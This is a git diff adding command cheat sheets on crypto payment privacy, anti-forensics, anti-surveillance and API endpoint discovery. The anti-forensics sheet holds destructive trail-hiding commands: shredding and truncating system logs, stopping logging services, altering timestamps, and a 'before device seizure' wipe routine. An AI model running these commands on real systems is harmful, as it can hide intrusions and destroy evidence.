(DASH) +# - PrivateSend feature (mixing) +# - Not as strong as Monero +# - More like Bitcoin with mixing + +# Litecoin with MimbleWimble (LTC) +# - Extension Block (MWEB) for privacy +# - Optional privacy layer + +# Why Monero is preferred +# - Privacy by default (not optional) +# - Proven track record +# - Large community, good liquidity + +# ============================================================================ +# CRYPTO PAYMENT BEST PRACTICES +# ============================================================================ + +# For maximum privacy +# 1. Buy XMR with cash (LocalMonero, ATM) +# 2. Store in self-hosted wallet (not exchange) +# 3. Use Tor when transacting +# 4. Don't link to real identity + +# For moderate privacy +# 1. Buy BTC with minimal KYC +# 2. CoinJoin with Wasabi/Samourai +# 3. Use Lightning Network when possible +# 4. Use new address for each transaction + +# For convenience with some privacy +# 1. Use Privacy.com virtual cards +# 2. Buy gift cards with cash +# 3. Use prepaid debit cards + +# ============================================================================ +# ACCEPTING PAYMENTS ANONYMOUSLY +# ============================================================================ + +# Accept Monero (maximum privacy) +# - Set up Monero wallet +# - Share wallet address with customers +# - No third-party processor needed + +# BTCPay Server (self-hosted Bitcoin/Monero payment processor) +# - Accept BTC, Lightning, Monero +# - No KYC, self-hosted +# - https://btcpayserver.org/ + +# Install BTCPay (Docker) +git clone https://github.com/btcpayserver/btcpayserver-docker +cd btcpayserver-docker +./btcpay-setup.sh -i + +# ============================================================================ +# TAX IMPLICATIONS (KNOW YOUR LAWS) +# ============================================================================ + +# WARNING: Cryptocurrency taxation varies by country +# Consult tax professional for compliance + +# US tax treatment +# - Cryptocurrency = property (IRS) +# - Capital gains tax on profits +# - Reporting required for transactions + +# Privacy coins and tax +# - Even private transactions may be taxable +# - Failure to report = tax evasion (criminal offense) + +# Legal anonymous payments +# - Privacy ≠ tax evasion +# - You can prioritize privacy while complying with law +# - Keep records (even if transactions private) + +# ============================================================================ +# COMPARISON: PAYMENT METHODS +# ============================================================================ + +# Cash +# Pros: Completely private, untraceable +# Cons: Physical only, limited online use + +# Monero +# Pros: Private by default, works online, global +# Cons: Limited merchant acceptance, learning curve + +# Bitcoin + CoinJoin +# Pros: Better privacy than plain Bitcoin, widely accepted +# Cons: Not as private as Monero, requires effort + +# Privacy.com +# Pros: Easy to use, merchant privacy, fraud protection +# Cons: Privacy.com knows everything, US-only + +# Gift cards +# Pros: Pseudo-anonymous, widely accepted +# Cons: Limited value, not truly anonymous, fees + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# Monero +# Official site: https://www.getmonero.org/ +# Monero documentation: https://www.getmonero.org/resources/user-guides/ +# LocalMonero: https://localmonero.co/ + +# Bitcoin privacy +# Wasabi Wallet: https://wasabiwallet.io/ +# Samourai Wallet: https://samouraiwallet.com/ +# Lightning Network: https://lightning.network/ + +# Payment privacy +# Privacy.com: https://privacy.com/ +# BTCPay Server: https://btcpayserver.org/ + +# Education +# Bitcoin Privacy Guide: https://bitcoinprivacy.guide/ +# Monero Means Money (documentary): https://www.moneromeans.money/ +# MASTERING MONERO (book): https://masteringmonero.com/ + +# Communities +# r/Monero (Reddit) +# r/WasabiWallet (Reddit) +# r/Bitcoin (Reddit - privacy discussions) + diff --git a/anti-forensics.cheat b/anti-forensics.cheat new file mode 100644 index 0000000..c82d2ec --- /dev/null +++ b/anti-forensics.cheat @@ -0,0 +1,594 @@ +% anti-forensics, counter-forensics, evidence-elimination, privacy-defense + +# ============================================================================ +# ANTI-FORENSICS OVERVIEW +# ============================================================================ + +# Anti-forensics definition +# Techniques to prevent, detect, or defeat forensic analysis +# Goal: Protect privacy, not facilitate illegal activity + +# Legal considerations +# Anti-forensics for privacy is legal in most jurisdictions +# Destruction of evidence under investigation = illegal +# Know your local laws + +# Forensic process (what we're defending against) +# 1. Acquisition: Creating forensic image of device +# 2. Preservation: Maintaining evidence integrity +# 3. Analysis: Examining data, recovering deleted files +# 4. Reporting: Documenting findings + +# Anti-forensic categories +# 1. Data hiding (encryption, steganography) +# 2. Data destruction (secure deletion, wiping) +# 3. Trail obfuscation (log clearing, timestamp manipulation) +# 4. Attack against forensic tools + +# ============================================================================ +# ENCRYPTION (FIRST LINE OF DEFENSE) +# ============================================================================ + +# Full disk encryption (FDE) +# Makes forensic acquisition useless without passphrase +# See veracrypt.cheat for detailed guide + +# LUKS encryption (Linux) +sudo cryptsetup luksFormat /dev/sdX +sudo cryptsetup luksOpen /dev/sdX encrypted_drive + +# Check if drive is encrypted +lsblk -f + +# File encryption +# See gpg.cheat, age.cheat for file-level encryption + +# Encrypted containers (VeraCrypt) +# Hidden volumes (plausible deniability) +# See veracrypt.cheat + +# ============================================================================ +# SECURE FILE DELETION +# ============================================================================ + +# Comprehensive secure deletion guide +# See secure-deletion.cheat for full details + +# Quick secure delete +shred -vfz -n 3 +$ file: echo "sensitive.txt" + +# Wipe free space (removes "deleted" files) +sfill -v /home/ + +# Clear file system journal +# Ext4 journal may contain file fragments +sudo debugfs -w /dev/sdX -R "zap_journal" + +# ============================================================================ +# METADATA REMOVAL +# ============================================================================ + +# Remove file metadata (see metadata-removal.cheat) +exiftool -all= +$ file: echo -e "document.pdf\\nphoto.jpg" + +# Metadata in file systems +# Access time (atime), modify time (mtime), change time (ctime) + +# Disable atime updates (reduces forensic artifacts) +sudo mount -o remount,noatime / + +# Make permanent in /etc/fstab +# /dev/sdX /mount_point ext4 defaults,noatime 0 2 + +# Touch file to change timestamps +touch -t +$ timestamp: echo "202501010000" +$ file: echo "document.txt" + +# ============================================================================ +# LOG FILE MANAGEMENT +# ============================================================================ + +# System logs (forensic goldmine) +# /var/log/ - main log directory +# /var/log/auth.log - authentication attempts +# /var/log/syslog - system events +# ~/.bash_history - command history + +# Clear bash history +history -c +rm ~/.bash_history + +# Disable bash history for session +unset HISTFILE + +# Clear systemd journal logs +sudo journalctl --vacuum-time=1d +sudo journalctl --vacuum-size=10M + +# Clear specific log files +sudo truncate -s 0 /var/log/auth.log +sudo truncate -s 0 /var/log/syslog + +# Disable logging temporarily (dangerous!) +sudo systemctl stop rsyslog +sudo systemctl stop systemd-journald + +# Shred log files +sudo find /var/log -type f -exec shred -vfz -n 1 {} \\; + +# ============================================================================ +# BROWSER FORENSICS COUNTERMEASURES +# ============================================================================ + +# Browser artifacts +# - History (URLs visited) +# - Cache (page content, images) +# - Cookies (tracking, session data) +# - Downloads (file list, sources) +# - Form data (autofill information) +# - Passwords (encrypted, but vulnerable) + +# Clear Firefox data +rm -rf ~/.mozilla/firefox/*/cache2/* +rm -rf ~/.mozilla/firefox/*/cookies.sqlite +rm -rf ~/.mozilla/firefox/*/places.sqlite + +# Or use browser settings +# CTRL+SHIFT+DEL → Everything → Clear Now + +# Use private browsing mode +# Firefox: CTRL+SHIFT+P +# Chrome: CTRL+SHIFT+N + +# Better: Use Tor Browser (see tor.cheat) +# No local forensic artifacts + +# ============================================================================ +# MEMORY (RAM) FORENSICS COUNTERMEASURES +# ============================================================================ + +# Cold boot attacks +# RAM retains data briefly after power off +# Forensic tools can capture RAM contents + +# Defense: Overwrite RAM on shutdown +# Create shutdown script +sudo nano /etc/systemd/system/wipe-ram.service + +# Add: +# [Unit] +# Description=Wipe RAM on shutdown +# DefaultDependencies=no +# Before=shutdown.target +# +# [Service] +# Type=oneshot +# ExecStart=/usr/bin/sdmem -v +# +# [Install] +# WantedBy=shutdown.target + +sudo systemctl enable wipe-ram.service + +# Clear swap partition +sudo swapoff -a +sudo swapon -a + +# Disable swap (prevents disk-based RAM recovery) +sudo swapoff -a +sudo rm /swapfile +# Comment out swap line in /etc/fstab + +# ============================================================================ +# NETWORK FORENSICS COUNTERMEASURES +# ============================================================================ + +# Network logs contain +# - IP addresses +# - DNS queries +# - Connection timestamps +# - Protocols used + +# VPN (hides traffic from ISP) +# See vpn.cheat (to be created) + +# Tor (anonymizes network traffic) +# See tor.cheat + +# DNS encryption +# Prevents ISP from logging DNS queries +# Use DoH (DNS-over-HTTPS) or DoT (DNS-over-TLS) + +# Clear DNS cache +sudo systemd-resolve --flush-caches + +# Disable network history (NetworkManager) +sudo nano /etc/NetworkManager/NetworkManager.conf +# Add: +# [main] +# no-auto-default=* + +# ============================================================================ +# FILE SYSTEM ANTI-FORENSICS +# ============================================================================ + +# File carving +# Forensic technique to recover files without file system metadata +# Defense: Overwrite free space + +# Wipe free space +cat /dev/urandom > /tmp/wipefile +rm /tmp/wipefile + +# Or use sfill +sfill -v /home/ + +# File system timestamps +# atime (access), mtime (modify), ctime (change) +# Forensic examiners use timestamps to build timeline + +# Modify timestamps (anti-forensic tactic) +touch -a -t 202001010000 # Change access time +touch -m -t 202001010000 # Change modify time + +# timestomp (Metasploit) +# Copies timestamps from one file to another + +# ============================================================================ +# SLACK SPACE & UNALLOCATED SPACE +# ============================================================================ + +# Slack space +# Unused space between end of file and end of cluster +# May contain remnants of previous files + +# Wipe slack space +# No simple tool, requires specialized software +# Best defense: Full disk encryption + +# Unallocated space +# "Deleted" files live here until overwritten +# Recovered by forensic tools (PhotoRec, Foremost) + +# Wipe unallocated space +sfill -v /mount/point/ + +# ============================================================================ +# STEGANOGRAPHY (DATA HIDING) +# ============================================================================ + +# Hide data in images +# Install steghide +sudo apt install steghide + +# Hide file in image +steghide embed -cf cover.jpg -ef secret.txt -p +$ passphrase: echo "StrongPassword123" + +# Extract hidden file +steghide extract -sf cover.jpg -p +$ passphrase: echo "StrongPassword123" + +# Check for hidden data (steganalysis) +steghide info cover.jpg + +# Other steganography tools +# outguess - statistical steganography +# stegosaurus - Python-based stego tool + +# ============================================================================ +# PLAUSIBLE DENIABILITY +# ============================================================================ + +# Hidden volumes (VeraCrypt) +# Encrypted volume within encrypted volume +# See veracrypt.cheat for setup + +# Concept +# Outer volume: Decoy data (less sensitive) +# Hidden volume: Real secrets +# Under duress, reveal outer volume password only + +# Requirements +# - Strong passwords for both volumes +# - Careful not to overwrite hidden volume +# - Realistic decoy data + +# ============================================================================ +# ANTI-FORENSIC OPERATING SYSTEMS +# ============================================================================ + +# Tails (The Amnesiac Incognito Live System) +# Leaves no trace on computer +# See secure-os.cheat for full guide + +# Key anti-forensic features +# - Runs from USB (no installation) +# - RAM-only (no disk writes) +# - Secure deletion tools included +# - Tor routing (network anonymity) + +# Use case: Maximum anti-forensics +# Boot Tails, do work, shutdown +# No artifacts on host computer + +# ============================================================================ +# SECURE COMMUNICATION (AVOIDING FORENSIC TRAILS) +# ============================================================================ + +# Disappearing messages +# Signal: Settings → Privacy → Disappearing messages → Enable +# Set timer: 5 seconds to 1 week + +# E2EE messaging (see opsec.cheat) +# Signal, Element/Matrix, Wire +# Even if seized, messages unreadable + +# Encrypted email +# ProtonMail, Tutanota (see email-privacy.cheat) +# PGP/GPG encryption (see gpg.cheat) + +# ============================================================================ +# DEFEATING FILE RECOVERY TOOLS +# ============================================================================ + +# Common forensic recovery tools +# - PhotoRec (file carving) +# - Foremost (signature-based recovery) +# - TestDisk (partition recovery) +# - Autopsy (forensic analysis suite) +# - Sleuth Kit (command-line forensics) + +# Defenses +# 1. Secure deletion (shred, wipe, srm) +# 2. Encryption (LUKS, VeraCrypt) +# 3. Wipe free space (sfill) +# 4. Overwrite multiple times (7-35 passes for HDDs) + +# Test recovery yourself +# Delete file → Attempt recovery with PhotoRec +# If successful, your deletion wasn't secure enough + +# ============================================================================ +# LIVE SYSTEM FORENSICS COUNTERMEASURES +# ============================================================================ + +# Live forensic acquisition +# Examiner boots seized device to extract data + +# Defenses +# 1. Full disk encryption (forces examiner to ask for password) +# 2. Encrypted bootloader (GRUB password) +# 3. Auto-wipe on tamper (advanced, risky) + +# GRUB password (boot protection) +# Prevents booting without password +sudo nano /etc/grub.d/40_custom + +# Add: +# set superusers="root" +# password root + +# Generate password hash +grub-mkpasswd-pbkdf2 + +# Update GRUB +sudo update-grub + +# ============================================================================ +# TIMELINE ANTI-FORENSICS +# ============================================================================ + +# Forensic timeline analysis +# Examiners create timeline of activity using timestamps +# Goal: Understand "what happened when" + +# Anti-forensic tactics +# 1. Timestamp manipulation (touch command) +# 2. Clock tampering (change system time) +# 3. Disable atime updates + +# Change system time (temporary) +sudo date -s "2020-01-01 00:00:00" + +# Restore correct time +sudo ntpdate pool.ntp.org + +# ============================================================================ +# MOBILE DEVICE FORENSICS COUNTERMEASURES +# ============================================================================ + +# Mobile forensics (iOS/Android) +# Tools: Cellebrite, GrayKey, XRY + +# Defenses +# 1. Strong passcode (10+ digits, alphanumeric) +# 2. Biometric + passcode (both required) +# 3. Enable encryption (default on modern devices) +# 4. Disable USB accessories when locked +# 5. Faraday bag (prevents remote wipe prevention) + +# iOS hardening +# Settings → Face ID & Passcode → Require passcode immediately +# Settings → Face ID & Passcode → USB Accessories (OFF when locked) + +# Android hardening +# Settings → Security → Screen lock → Password (not pattern/PIN) +# Settings → Developer options → USB debugging (OFF) + +# Emergency wipe +# iOS: Wrong passcode 10 times = wipe (if enabled) +# Android: Varies by device + +# ============================================================================ +# CLOUD FORENSICS COUNTERMEASURES +# ============================================================================ + +# Cloud storage forensics +# Examiner can subpoena cloud provider +# Provider complies, provides data + +# Defenses +# 1. Client-side encryption (encrypt before upload) +# 2. Use privacy-focused providers (ProtonDrive, Tresorit) +# 3. Don't rely on cloud provider "encryption" (they have keys) + +# Encrypt before uploading +gpg --encrypt --recipient you@example.com file.txt +# Upload file.txt.gpg to cloud + +# ============================================================================ +# COUNTER-FORENSIC TOOLS +# ============================================================================ + +# Secure deletion +# shred, wipe, srm - See secure-deletion.cheat + +# Metadata removal +# exiftool, mat2 - See metadata-removal.cheat + +# Memory wiping +# sdmem (secure-delete package) +sdmem -v + +# Forensic cleaner (BleachBit) +sudo apt install bleachbit +bleachbit --clean system.* firefox.* + +# Timestomp (change file timestamps) +# Part of Metasploit Framework + +# ============================================================================ +# ANTI-FORENSIC WORKFLOW (HIGH SECURITY) +# ============================================================================ + +# Daily operations +# 1. Use Tails or full disk encryption +# 2. Encrypt all sensitive files (GPG/age) +# 3. Clear browser data after each session +# 4. Use disappearing messages +# 5. Avoid logging (private browsing, no bash history) + +# Before device seizure (if anticipated) +# 1. Wipe free space (sfill) +# 2. Securely delete sensitive files (shred) +# 3. Clear all logs +# 4. Overwrite swap/RAM +# 5. Factory reset (if necessary) + +# Emergency (device seizure imminent) +# 1. Shut down (don't sleep/hibernate) +# 2. Remove batteries (if possible) +# 3. Invoke right to remain silent +# 4. Request attorney + +# ============================================================================ +# FORENSIC AWARENESS (KNOW YOUR ENEMY) +# ============================================================================ + +# Learn forensics to defend against it +# Practice with forensic tools (on your own data) +# Understand what examiners look for + +# Forensic training +# SANS FOR500 (Windows Forensics) +# SANS FOR518 (Mac Forensics) +# TCM Security courses + +# Open-source forensic tools (practice) +# Autopsy - https://www.autopsy.com/ +# Volatility - Memory forensics +# Sleuth Kit - File system analysis + +# Test your defenses +# Delete sensitive file, attempt recovery +# If successful, improve deletion method + +# ============================================================================ +# LEGAL & ETHICAL CONSIDERATIONS +# ============================================================================ + +# When anti-forensics is legal +# - Privacy protection +# - Secure business data +# - Preventing corporate espionage +# - General security best practices + +# When anti-forensics is illegal +# - Destroying evidence under subpoena +# - Obstruction of justice during investigation +# - Violating discovery obligations (civil litigation) + +# Know your rights +# Right to remain silent (5th Amendment, US) +# Right to refuse password disclosure (varies by country) +# Right to attorney + +# ============================================================================ +# ANTI-FORENSIC CHECKLIST +# ============================================================================ + +# Prevention (before any investigation) +# [ ] Full disk encryption enabled +# [ ] Secure deletion tools configured +# [ ] Regular log clearing routine +# [ ] Metadata removal workflow +# [ ] Encrypted backups +# [ ] Disappearing messages enabled + +# Detection (is forensic exam happening?) +# [ ] Watch for suspicious activity +# [ ] Check for unusual process +# [ ] Monitor network connections +# [ ] Physical security (tamper evidence) + +# Response (forensic exam suspected/happening) +# [ ] Shut down cleanly (if time permits) +# [ ] Invoke legal rights (attorney, silence) +# [ ] Document everything +# [ ] Do not consent to searches (unless legally required) + +# ============================================================================ +# MISTAKES TO AVOID +# ============================================================================ + +# ❌ Deleting files with regular rm +# ✅ Use shred/wipe/srm + +# ❌ Thinking "Delete" removes data +# ✅ Secure deletion + wipe free space + +# ❌ Relying on encryption alone +# ✅ Encryption + secure deletion + log clearing + +# ❌ Panicking and making mistakes +# ✅ Have pre-planned response procedure + +# ❌ Talking to investigators without attorney +# ✅ Exercise right to remain silent + +# ❌ Forgetting about cloud/backup forensics +# ✅ Encrypt before upload, control backups + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# Books +# "File System Forensic Analysis" by Brian Carrier +# "The Art of Memory Forensics" by Ligh et al. +# "Practical Forensic Imaging" by Bruce Nikkel + +# Tools +# Autopsy: https://www.autopsy.com/ +# Sleuth Kit: https://www.sleuthkit.org/ +# Volatility: https://www.volatilityfoundation.org/ + +# Learning +# SANS Digital Forensics courses +# TCM Security Practical Forensics +# DFIR Training: https://www.dfir.training/ + diff --git a/anti-surveillance.cheat b/anti-surveillance.cheat new file mode 100644 index 0000000..e31ba99 --- /dev/null +++ b/anti-surveillance.cheat @@ -0,0 +1,510 @@ +% anti-surveillance, counter-surveillance, privacy, anonymity, tracking + +# ============================================================================ +# UNDERSTANDING SURVEILLANCE +# ============================================================================ + +# Types of surveillance +# - Mass surveillance (NSA, Five Eyes, PRISM) +# - Targeted surveillance (law enforcement, private investigators) +# - Corporate surveillance (ad tech, data brokers, analytics) +# - State surveillance (oppressive regimes, censorship) +# - Interpersonal surveillance (stalkers, abusers) + +# Surveillance vectors +# - Network monitoring (ISP, VPN, Tor exit nodes) +# - Device tracking (GPS, cell towers, WiFi/Bluetooth beacons) +# - Behavioral tracking (cookies, fingerprinting, analytics) +# - Physical surveillance (CCTV, license plate readers) +# - Social surveillance (social media, contacts, metadata) +# - Biometric surveillance (facial recognition, gait analysis) + +# ============================================================================ +# NETWORK ANTI-SURVEILLANCE +# ============================================================================ + +# VPN (Virtual Private Network) +# Hides traffic from ISP, not from VPN provider +# Choose no-logs VPN: Mullvad, IVPN, ProtonVPN + +# Install and connect to VPN +sudo apt install openvpn +sudo openvpn --config vpn_config.ovpn + +# Check VPN connection +curl ifconfig.me + +# Tor (The Onion Router) +# Multi-hop encryption, anonymity network +# See tor.cheat for full Tor guide + +# Start Tor +sudo systemctl start tor + +# Route traffic through Tor +torsocks +$ command: echo -e "curl https://check.torproject.org\\nwget https://example.com" + +# I2P (Invisible Internet Project) +# Anonymous network layer, decentralized +# Install: https://geti2p.net/ + +# DNS encryption (prevent ISP DNS spying) +# DNS-over-HTTPS (DoH) +# Firefox: about:config → network.trr.mode = 2 + +# DNS-over-TLS (DoT) with systemd-resolved +sudo nano /etc/systemd/resolved.conf +# DNS=1.1.1.1 1.0.0.1 +# DNSOverTLS=yes +sudo systemctl restart systemd-resolved + +# dnscrypt-proxy (encrypted DNS) +sudo apt install dnscrypt-proxy +sudo systemctl enable dnscrypt-proxy +sudo systemctl start dnscrypt-proxy + +# ============================================================================ +# DEVICE TRACKING PREVENTION +# ============================================================================ + +# GPS tracking (smartphones) +# Disable location services when not needed +# Android: Settings → Location → Off +# iOS: Settings → Privacy → Location Services → Off + +# Airplane mode (disables all radios) +# Prevents: Cell tower, WiFi, Bluetooth, NFC tracking + +# Remove battery (older phones) +# Only true way to ensure phone is off + +# Faraday bag/pouch +# Blocks all electromagnetic signals +# Test with: call phone while in bag (shouldn't ring) + +# MAC address randomization +# Prevents WiFi tracking + +# Linux (NetworkManager) +sudo nano /etc/NetworkManager/conf.d/wifi-random-mac.conf +# [device] +# wifi.scan-rand-mac-address=yes +# [connection] +# wifi.cloned-mac-address=random + +# macOS +# System Preferences → Network → Advanced → Use private Wi-Fi address + +# Android +# Settings → Network & Internet → WiFi → WiFi preferences → Use randomized MAC + +# Bluetooth tracking prevention +# Disable Bluetooth when not in use +# Randomize Bluetooth MAC if possible + +# ============================================================================ +# BROWSER ANTI-SURVEILLANCE +# ============================================================================ + +# Browser fingerprinting defense +# See browser-hardening.cheat for full guide + +# Essential settings +# - Block third-party cookies +# - Enable tracking protection +# - Disable WebRTC (IP leak) +# - Use uBlock Origin +# - Enable HTTPS-only mode + +# Test fingerprint uniqueness +# EFF Cover Your Tracks: https://coveryourtracks.eff.org/ + +# Browser isolation (containers) +# Firefox Multi-Account Containers +# Separate: Banking, Shopping, Social, Work, Anonymous + +# Clear cookies on exit +# Settings → Privacy → Cookies → Delete on close + +# ============================================================================ +# PHYSICAL SURVEILLANCE COUNTERMEASURES +# ============================================================================ + +# Camera covering +# Laptop: Webcam cover, tape, slide cover +# Phone: Remove when not in video call + +# Microphone disabling +# BIOS disable (if available) +# Physical disconnect (advanced) +# Ultrasonic tracking defense (inaudible ads) + +# RFID blocking +# Credit cards: RFID-blocking wallet +# Passport: RFID sleeve +# Key fobs: Faraday pouch + +# Gait analysis defense +# Put pebble in shoe (changes walk pattern) +# Reflective/IR-blocking clothing + +# Facial recognition defense +# Face masks, sunglasses, hats +# CV Dazzle (makeup patterns) +# Adversarial fashion (pattern clothing) +# IR LEDs (invisible to eye, blind cameras) + +# License plate tracking +# No perfect solution (illegal to obscure) +# PhotoBlocker spray (questionable effectiveness) +# Avoid toll roads/automated systems when possible + +# ============================================================================ +# SOCIAL MEDIA ANTI-SURVEILLANCE +# ============================================================================ + +# Privacy settings (maximum) +# Facebook: Settings → Privacy → Friends only +# Instagram: Private account, disable tagging +# Twitter: Protected tweets, disable location +# LinkedIn: Limit profile visibility + +# Disable location tagging +# Don't post real-time location +# Wait until you've left before posting + +# Limit personal information +# Don't share: phone, address, workplace, school, family +# Use fake birthday (security questions) + +# Review tagged photos +# Untag yourself from compromising photos +# Enable tag approval before appearing on profile + +# Remove metadata from photos before posting +# See metadata-removal.cheat +exiftool -all= photo.jpg + +# ============================================================================ +# SMARTPHONE HARDENING +# ============================================================================ + +# GrapheneOS (privacy-focused Android) +# Install on Pixel devices +# https://grapheneos.org/ + +# CalyxOS (privacy Android alternative) +# https://calyxos.org/ + +# LineageOS (de-Googled Android) +# https://lineageos.org/ + +# iOS privacy settings +# Settings → Privacy → Tracking → Ask App Not to Track +# Settings → Privacy → Analytics → Share iPhone Analytics (OFF) + +# Android privacy settings +# Settings → Google → Manage your Google Account → Data & privacy +# Turn off: Location History, Web & App Activity + +# Disable app permissions +# Review: Location, Camera, Microphone, Contacts +# Only grant when needed + +# App alternatives (privacy-focused) +# Maps: OsmAnd, Organic Maps +# Keyboard: AnySoftKeyboard, OpenBoard +# Browser: Mull (Firefox), Brave +# Messaging: Signal, Element +# Email: K-9 Mail (with ProtonMail) + +# ============================================================================ +# OPERATING SYSTEM HARDENING +# ============================================================================ + +# Privacy-focused Linux distros +# Tails (amnesiac, Tor-based): https://tails.boum.org/ +# Whonix (Tor workstation): https://www.whonix.org/ +# Qubes OS (security by isolation): https://www.qubes-os.org/ + +# Disable telemetry (Ubuntu) +ubuntu-report -f send no + +# Disable telemetry (Windows) +# Settings → Privacy → Diagnostics & feedback → Off + +# macOS privacy +# System Preferences → Security & Privacy → Privacy +# Disable: Location Services (when not needed), Analytics + +# Firewall (block outbound connections) +sudo ufw enable +sudo ufw default deny outgoing +sudo ufw allow out to any port 443 +sudo ufw allow out to any port 80 + +# Hosts file blocking (ad/tracker domains) +sudo curl -o /etc/hosts https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts + +# Pi-hole (network-wide ad/tracker blocking) +# Install on Raspberry Pi or Docker +# https://pi-hole.net/ + +# ============================================================================ +# EMAIL ANTI-SURVEILLANCE +# ============================================================================ + +# Encrypted email providers +# ProtonMail: https://proton.me/mail +# Tutanota: https://tutanota.com/ +# Mailfence: https://mailfence.com/ + +# Email aliasing (hide real address) +# SimpleLogin: https://simplelogin.io/ +# AnonAddy: https://anonaddy.com/ +# Apple Hide My Email +# Firefox Relay: https://relay.firefox.com/ + +# PGP/GPG encryption +# See gpg.cheat for full guide +gpg --gen-key +gpg --armor --export email@example.com > public_key.asc + +# Temporary/disposable email +# 10 Minute Mail: https://10minutemail.com/ +# Guerrilla Mail: https://www.guerrillamail.com/ +# Temp Mail: https://temp-mail.org/ + +# ============================================================================ +# MESSAGING ANTI-SURVEILLANCE +# ============================================================================ + +# Secure messaging (E2EE) +# Signal (best all-around): https://signal.org/ +# Element/Matrix (federated): https://element.io/ +# Wire (business-friendly): https://wire.com/ + +# Signal hardening +# Enable registration lock (PIN) +# Enable disappearing messages (default) +# Enable screen security (no screenshots) +# Disable link previews + +# Metadata resistance +# Signal sealed sender (hides sender metadata) +# Session (no phone number required) + +# Anonymous messaging +# Ricochet Refresh (Tor-based): https://www.ricochetrefresh.net/ +# Briar (peer-to-peer): https://briarproject.org/ + +# ============================================================================ +# SEARCH ENGINE PRIVACY +# ============================================================================ + +# Private search engines +# DuckDuckGo: https://duckduckgo.com/ +# Startpage: https://www.startpage.com/ +# Searx (self-hosted): https://searx.space/ +# Brave Search: https://search.brave.com/ + +# Search without logging in +# Use private/incognito mode +# Clear cookies after each session + +# Avoid Google (if possible) +# Google tracks all searches (even logged out) +# Builds profile based on IP, cookies, fingerprint + +# ============================================================================ +# PAYMENT PRIVACY +# ============================================================================ + +# Cash (most private) +# No digital trail +# Untraceable + +# Cryptocurrency (pseudo-anonymous) +# Monero (privacy-focused): https://www.getmonero.org/ +# Bitcoin (with mixing): CoinJoin, Wasabi Wallet + +# Privacy-focused debit cards +# Privacy.com (virtual cards) +# Revolut (disposable virtual cards) + +# Gift cards (pseudo-anonymous) +# Buy with cash +# Use for online purchases + +# ============================================================================ +# DIGITAL ASSISTANT PRIVACY +# ============================================================================ + +# Disable voice assistants +# Alexa: Mute button, unplug when not in use +# Google Home: Mute button, disable voice match +# Siri: Settings → Siri & Search → Disable + +# Delete voice recordings +# Amazon: Alexa Privacy → Review Voice History → Delete +# Google: myactivity.google.com → Voice & Audio → Delete + +# Self-hosted alternatives +# Mycroft (open source): https://mycroft.ai/ +# Rhasspy (privacy-first): https://rhasspy.readthedocs.io/ + +# ============================================================================ +# IOT DEVICE HARDENING +# ============================================================================ + +# IoT risks +# Cameras, smart TVs, thermostats, lights = surveillance devices + +# Network segmentation +# Put IoT on separate VLAN/network +# Block internet access when not needed + +# Change default passwords +# Use strong unique passwords +# Disable UPnP + +# Disable unnecessary features +# Microphones, cameras (if not needed) +# Cloud connectivity (use local control) + +# Pi-hole for IoT blocking +# Block telemetry/analytics domains + +# ============================================================================ +# COUNTER-SURVEILLANCE DETECTION +# ============================================================================ + +# Physical surveillance detection +# Multiple passes (vary route) +# Use reflections (windows, mirrors) +# Note suspicious people/vehicles +# Sudden stops/direction changes + +# Digital surveillance indicators +# Battery draining faster (spyware) +# Phone hot when idle (background processes) +# Unusual data usage (exfiltration) +# Strange noises on calls +# Unexpected reboots + +# Network surveillance detection +# Monitor network connections +sudo netstat -tulpn + +# Check for unusual processes +ps aux | grep -v grep + +# Check DNS queries +sudo tcpdump -i any port 53 + +# ============================================================================ +# BURNER DEVICES & IDENTITIES +# ============================================================================ + +# Burner phone (for high-threat scenarios) +# Prepaid, cash-purchased +# No personal info linked +# Disposable after use + +# Burner laptop +# Fresh OS install (Tails, Linux Live USB) +# No personal accounts logged in +# Factory reset after use + +# Burner identity +# Separate email (Tutanota, ProtonMail) +# Separate phone number (Burner app, Hushed) +# Separate payment method (cash, gift cards) +# Never mix with real identity + +# ============================================================================ +# DEAD DROPS & COVERT COMMUNICATION +# ============================================================================ + +# Dead drop (physical) +# Leave data in agreed location +# Retrieve later, no direct contact + +# Digital dead drop +# Upload to cloud, share credentials separately +# OnionShare (Tor hidden service) + +# Steganography (hidden messages) +# Hide data in images +steghide embed -cf image.jpg -ef secret.txt + +# Extract hidden data +steghide extract -sf image.jpg + +# ============================================================================ +# ANTI-SURVEILLANCE CHECKLIST +# ============================================================================ + +# Daily +# [ ] Use VPN/Tor for sensitive browsing +# [ ] Airplane mode when not using phone +# [ ] Cover webcam when not in use + +# Weekly +# [ ] Clear browser cookies/history +# [ ] Review app permissions +# [ ] Check unusual battery drain + +# Monthly +# [ ] Review social media privacy settings +# [ ] Check data broker sites (opt out) +# [ ] Audit connected devices + +# Quarterly +# [ ] Rotate burner identities +# [ ] Review surveillance threat model +# [ ] Update anti-surveillance measures + +# ============================================================================ +# LEGAL CONSIDERATIONS +# ============================================================================ + +# Know your rights +# Right to privacy (varies by country) +# Right to refuse searches (with exceptions) +# Right to remain silent + +# Recording laws +# One-party vs two-party consent +# Know your jurisdiction + +# Counter-surveillance legality +# Generally legal to protect your own privacy +# Interfering with investigations may be illegal +# Consult lawyer if unsure + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# Privacy guides +# EFF Surveillance Self-Defense: https://ssd.eff.org/ +# Privacy Guides: https://www.privacyguides.org/ +# PRISM Break: https://prism-break.org/ + +# Books +# "Permanent Record" by Edward Snowden +# "No Place to Hide" by Glenn Greenwald +# "The Art of Invisibility" by Kevin Mitnick + +# Tools +# OSINT tools (to see your exposure) +# Burner phone apps: Burner, Hushed +# Encrypted communication: Signal, Element + +# Communities +# r/privacy (Reddit) +# r/privacytoolsIO (Reddit) +# PrivacyGuides forum + diff --git a/api-testing.cheat b/api-testing.cheat new file mode 100644 index 0000000..7c0a9e9 --- /dev/null +++ b/api-testing.cheat @@ -0,0 +1,231 @@ +% api-testing, api, rest, graphql + +# ============================================================================ +# KITERUNNER - API Endpoint Discovery +# ============================================================================ + +# Scan for API endpoints +kr scan -w +$ target_url: echo -e "https://api.target.com\nhttps://target.com/api" +$ wordlist: echo -e "/usr/share/wordlists/api-routes.txt\n/opt/SecLists/Discovery/Web-Content/api/api-endpoints.txt" + +# Scan with specific HTTP methods +kr scan -w -x +$ target_url: echo "https://api.target.com" +$ wordlist: echo "/usr/share/wordlists/api-routes.txt" +$ methods: echo -e "GET,POST\nGET,POST,PUT,DELETE" + +# Brute force API with parameters +kr brute -w +$ target_url: echo 